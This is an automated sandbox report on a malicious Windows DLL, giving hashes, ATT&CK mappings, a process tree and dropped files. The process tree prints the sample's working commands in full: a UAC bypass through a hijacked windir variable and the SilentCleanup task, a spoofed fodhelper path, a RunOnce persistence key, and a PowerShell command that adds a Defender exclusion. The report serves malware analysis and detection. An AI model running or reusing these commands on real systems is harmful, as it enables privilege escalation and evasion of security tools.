914cc7f0a4c7df6fb793b2f75e91fe6003fb146e2bd1024c49a4ab6cfe0c162c

Analysis

max time kernel
95s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03/08/2024, 06:15

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General

Target

1722665588f6a10a8d47978db043c0d88290ea59d87f6f171d81ce7d2c526450e0e458c96a643.dll
Size

510KB
MD5

70e861048b8ead49d3b57d864f6bfd06
SHA1

3aec782b57d4f925bdfdb5ed6d7fb0b2d35aa7ab
SHA256

914cc7f0a4c7df6fb793b2f75e91fe6003fb146e2bd1024c49a4ab6cfe0c162c
SHA512

c7b704506698d2e34ff01c2dff20ab6dac6719ddbb2be6e46e082220caf7ffd76b71d865db0c6b312775f31b1ee5325e0214909e84251d05c6377334aadcd0a3
SSDEEP

6144:z8Xyaz+kda/tgbyKxUyyi9LU8CIxjgUaJLi6SaJys9FWh11o+OGP7IWK:Kz+Ntndi9EW3a4zmWh1RZDE

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4528	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1684	fodhelper.exe

Loads dropped DLL 1 IoCs

pid	Process
1684	fodhelper.exe

Abuse Elevation Control Mechanism: Bypass User Account Control 1 TTPs 1 IoCs

UAC Bypass Attempt via SilentCleanup Task.

defense_evasion privilege_escalation

Bypass User Account Control

T1548.002

pid	Process
3220	schtasks.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Qspt = "C:\\Users\\Admin\\AppData\\Local\\Qspt\\Qspt.hta"	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4716	4788	WerFault.exe	83

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
4340	reg.exe
4336	reg.exe
2296	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4528	powershell.exe
4528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4528	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 4788	5036	rundll32.exe	83
PID 5036 wrote to memory of 4788	5036	rundll32.exe	83
PID 5036 wrote to memory of 4788	5036	rundll32.exe	83
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85
PID 4788 wrote to memory of 2904	4788	rundll32.exe	85

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\1722665588f6a10a8d47978db043c0d88290ea59d87f6f171d81ce7d2c526450e0e458c96a643.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\1722665588f6a10a8d47978db043c0d88290ea59d87f6f171d81ce7d2c526450e0e458c96a643.dll,#1
  2⤵
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\SysWOW64\Notepad.exe
    C:\Windows\System32\Notepad.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Natso.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:2152
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4340
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4336
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        5⤵
        Abuse Elevation Control Mechanism: Bypass User Account Control
        System Location Discovery: System Language Discovery
        
        PID:3220
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2296
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Runex.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:5056
    - - C:\Windows \System32\fodhelper.exe
        
        "C:\Windows \System32\fodhelper.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1684
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Public\x.bat
        6⤵
        
        PID:1428
        
        C:\Windows\system32\cmd.exe
        
        cmd /c C:\Users\Public\x.vbs
        7⤵
        Checks computer location settings
        Modifies registry class
        
        PID:944
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\x.vbs"
        8⤵
        Checks computer location settings
        
        PID:1620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\cde.bat" "
        9⤵
        
        PID:1952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 1012
    3⤵
    - Program crash
    PID:4716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4788 -ip 4788
1⤵
PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vkpwwv55.ahl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Natso.bat

Filesize
283B

MD5
5cc1682955fd9f5800a8f1530c9a4334

SHA1
e09b6a4d729f2f4760ee42520ec30c3192c85548

SHA256
5562cc607d2f698327efacc4a21bd079bb14a99b03e7a01b3c67f8440e341cb3

SHA512
80767263aad44c739236161d4338d5dd8b0b58613f22cd173c3e88ebf143220ee56bbf93ace69a07d3c2f00daff0adbaa8461a1d53d12699725395c931c43cb6

Download Submit
C:\Users\Public\Runex.bat

Filesize
226B

MD5
f6828e22e6abe87c624e4683fac5889b

SHA1
b93d63354d4ddb226dab90955576a6d2cad05ba0

SHA256
e1b1884353a51436f90dfed9f85ed9dd98fccfbd13dee7aa54fd901f77fe5e9c

SHA512
26afb36afcb3f286b85ebd72061e26f84c33075d3d0767cc93f50ec414a85838c86049e0c56ff43011d1a309b98ae355cbe412203429ac243010dc971ac81ec1

Download Submit
C:\Users\Public\cde.bat

Filesize
295B

MD5
b442a70fdba934a802a468446c697646

SHA1
fe28bd0ab4831dc3bd71b774bdfac829b8806a35

SHA256
c8dbdd9043f83f13287d442bcd98d06376d19a1d82f4e1dd4c9449f9b2ae0c7d

SHA512
47b6d6396db728ad358c8104632f2be9e305ae674f2b08d501a68cded63c462316cdd18e861d9d411958b1012aaac4620239ca6029db6112285a8e06134d1903

Download Submit
C:\Users\Public\fodhelper.exe

Filesize
46KB

MD5
7215c73ec1aae35b9e4b1f22c811f85c

SHA1
98551f5184691b65dceba531c4e4975d77cd25a5

SHA256
7e80da8d839dcf05e30317256460ed7a4ee25cab2750d768569aaab35e1e8c64

SHA512
b68eed48dbd32e485fd56b952e3e642f25f1eefe26ea533b13857e225272ee9668c39552284a438175a323d1685a80d9f878ef0637b5d928bb1e1ed1ac505d61

Download Submit
C:\Users\Public\propsys.dll

Filesize
108KB

MD5
487766bf2f0add388cb123d1ef7ece46

SHA1
766564c04d9e8a6745baa2ad28da5d68ad1d79bf

SHA256
fa5d5f9bd3a3aece8941e52a00d05db8910d3332f4f276bc03663c7944ae11cb

SHA512
3b5c285c4eb749c5e34405b38e146e9fc3fe28c535ee12c4e0f075e167768f37b588e50c2dbd43a27b67b11e7483ad51fcd6b6e7638059dd40bc303c664a8a7e

Download Submit
C:\Users\Public\x.bat

Filesize
36B

MD5
47b8b6e888806f25ee24e55a6b116262

SHA1
1fbb022a6c3183f21806c19230a8ad421df9a2ae

SHA256
61e8f32d99ac46e7eab3e976b0afcadc55ad837d696f0b2a003fe9cd4f34335e

SHA512
a240e3b7f1a529da2dba304786da101548a039306c63f28c34f60973319ba37564e51493d021cd2c2adae4eecd98e8d6dd80e8b46472a6f6e7d1b069d000317a

Download Submit
C:\Users\Public\x.vbs

Filesize
260B

MD5
70f4e3618d69b36ca74f412ac75ec1fa

SHA1
59fb651c5c976c86f3e02811b0250ca7dc10eb3a

SHA256
c120ecbb33c2092fe379bcd2edbd702ea0a571ec99c233f8441e70e8ac62efd9

SHA512
fa4aa79f35d4d5999f5237aaf46314a2de0c88ba8ea3c4a33be50fbeb53d9bb201033965e4aee17be13081a082daaaed3aae5c84181f24e9723b762a453bf191

Download Submit
memory/2904-249-0x0000000010410000-0x0000000010454000-memory.dmp

Filesize
272KB

Download
memory/2904-29-0x0000000002220000-0x0000000002221000-memory.dmp

Filesize
4KB

Download
memory/2904-17-0x00000000020C0000-0x00000000020C1000-memory.dmp

Filesize
4KB

Download
memory/2904-9-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/2904-2-0x00000000002D0000-0x00000000002D1000-memory.dmp

Filesize
4KB

Download
memory/2904-1-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2904-290-0x0000000010410000-0x0000000010454000-memory.dmp

Filesize
272KB

Download
memory/4528-277-0x000001A5E6440000-0x000001A5E6462000-memory.dmp

Filesize
136KB

Download
memory/4788-0-0x0000000010410000-0x0000000010454000-memory.dmp

Filesize
272KB

Download